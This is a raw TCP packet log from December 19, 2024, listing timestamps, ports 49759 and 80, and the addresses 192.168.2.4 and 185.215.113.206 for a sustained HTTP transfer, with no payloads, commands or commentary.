Dec 19, 2024 07:57:20.669404984 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.669451952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.670237064 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.670305014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.670305967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.670355082 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.671096087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.671160936 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.671180964 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.671232939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.671894073 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.671962976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.672045946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.672102928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.672758102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.672837973 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.672900915 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.672956944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.673722029 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.673754930 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.673799038 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.673849106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.674496889 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.674555063 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.674638987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.674695015 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.675374985 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.675436020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.675548077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.675611019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.676371098 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.676404953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.676431894 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.676462889 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.677148104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.677212000 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.677263975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.677316904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.678009987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.678072929 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.678143978 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.678200960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.678922892 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.678985119 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.679022074 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.679080009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.679822922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.679884911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.679939032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.679996967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.680737019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.680799961 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.680994034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.681054115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.825428009 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.825478077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.825556040 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.825607061 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.825695038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.825748920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.826066017 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.826114893 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.826560020 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.826608896 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.826828003 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.826888084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.827424049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.827472925 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.827557087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.827604055 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.828321934 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.828371048 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.828428030 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.828474998 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.829155922 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.829207897 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.829318047 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.829365969 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.830049038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.830099106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.830130100 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.830174923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.830868959 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.830919027 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.831037045 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.831088066 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.831794977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.831846952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.831907034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.831949949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.832688093 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.832740068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.832823038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.832874060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.833537102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.833586931 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.833655119 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.833704948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.834475040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.834526062 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.834590912 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.834640980 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.835829020 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.835880041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.835917950 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.835963011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.836580992 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.836630106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.836694956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.836741924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.837126017 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.837174892 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.837563992 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.837615013 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.837954044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.838002920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.838079929 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.838129997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.838774920 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.838828087 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.838860989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.838910103 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.839848042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.839901924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.839939117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.839979887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.840764046 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.840816975 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.840883970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.840929985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.841779947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.841825008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.841834068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.841871977 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.842406034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.842453957 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.842545033 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.842591047 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.843231916 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.843282938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.843350887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.843400955 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.844073057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.844125032 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.844212055 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.844259024 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.844923973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.844970942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.845046043 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.845089912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.845777035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.845824957 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.845844984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.845881939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.846745014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.846759081 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.846798897 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.847820044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.847832918 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.847873926 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.848479986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.848536968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.848623991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.848673105 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.850183964 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.850235939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.850241899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.850255013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.850281954 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.850315094 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.850366116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.850410938 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.850994110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.851043940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.851078987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.851119041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.851974010 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.852024078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.852087021 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.852134943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.852787971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.852845907 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.852881908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.852921009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.853878975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.853934050 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.853996038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.854047060 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.854501009 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.854608059 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.854644060 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.854696035 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.855387926 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.855444908 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.855501890 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.855552912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.856395960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.856431007 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.856448889 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.856481075 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.857105017 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.857161999 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.857238054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.857286930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.858073950 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.858130932 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.858191013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.858239889 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.858913898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.858969927 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.859033108 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.859082937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.859750032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.859802008 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.859864950 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.859915018 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.860688925 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.860743046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.860773087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.860824108 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.861464024 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.861516953 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.861577988 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.861628056 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.862525940 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.862586975 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.862622023 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.862667084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.863265991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.863322973 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.863390923 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.863457918 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.864103079 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.864159107 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.864358902 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.864432096 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.865072012 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.865107059 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.865127087 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.865144968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.865832090 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.865892887 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.866118908 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.866173029 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.867036104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.867094040 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.867233992 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.867285967 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.868016958 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.868063927 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.868071079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.868107080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.868815899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.868872881 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.868952990 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.869003057 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.869541883 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.869599104 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.869663954 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.869715929 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.870194912 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.870249033 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.870326042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.870378017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.871210098 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.871247053 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.871268034 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.871299028 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.871998072 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.872056007 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.872229099 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.872287035 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.872906923 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.872941017 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.872977972 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.872993946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:20.873763084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:20.873822927 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.017590046 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.017611027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.017678976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.017885923 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.017992973 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.018068075 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.018892050 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.018904924 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.018965960 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.019664049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.019725084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.019759893 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.019809008 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.020694017 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.020709038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.020752907 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.021374941 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.021433115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.021460056 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.021509886 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.022268057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.022326946 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.022403002 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.022459984 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.023200035 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.023220062 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.023262978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.023288012 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.023996115 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.024063110 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.024132967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.024193048 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.024904013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.024971008 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.025017977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.025075912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.025732994 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.025808096 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.025865078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.025924921 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.026613951 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.026675940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.026818991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.026874065 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.027597904 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.027611971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.027667999 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.028439045 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.028495073 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.028506041 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.028557062 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.029339075 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.029354095 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.029417038 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.030118942 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.030188084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.030221939 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.030281067 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.031014919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.031085968 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:21.031125069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:21.031182051 CET	49759	80	192.168.2.4	185.215.113.206
